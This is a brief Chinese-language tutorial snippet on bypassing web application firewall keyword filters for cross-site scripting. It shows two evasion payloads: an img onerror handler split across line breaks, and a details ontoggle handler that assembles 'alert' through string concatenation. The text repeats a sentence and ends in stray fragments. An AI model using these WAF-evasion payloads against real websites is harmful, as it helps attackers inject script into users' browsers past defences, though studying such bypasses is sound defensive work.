有时候waf会针对payload过滤onerror、alert等之类的关键字事件属性，或者把关键字事件替换成其他字符，单独的事件属性不会防护，这时候可以用换行来解决
如果只单独针对alert做防护的话就可以用拼接的方式来绕过，类似于：其他事件参考如上
<img src=1
onerror
=alert(1)如果只单独针对alert做防护的话就可以用拼接的方式来绕过，类似于：
<details open ontoggle=top['al'%2B'ert'](1) >想变强
.gif)
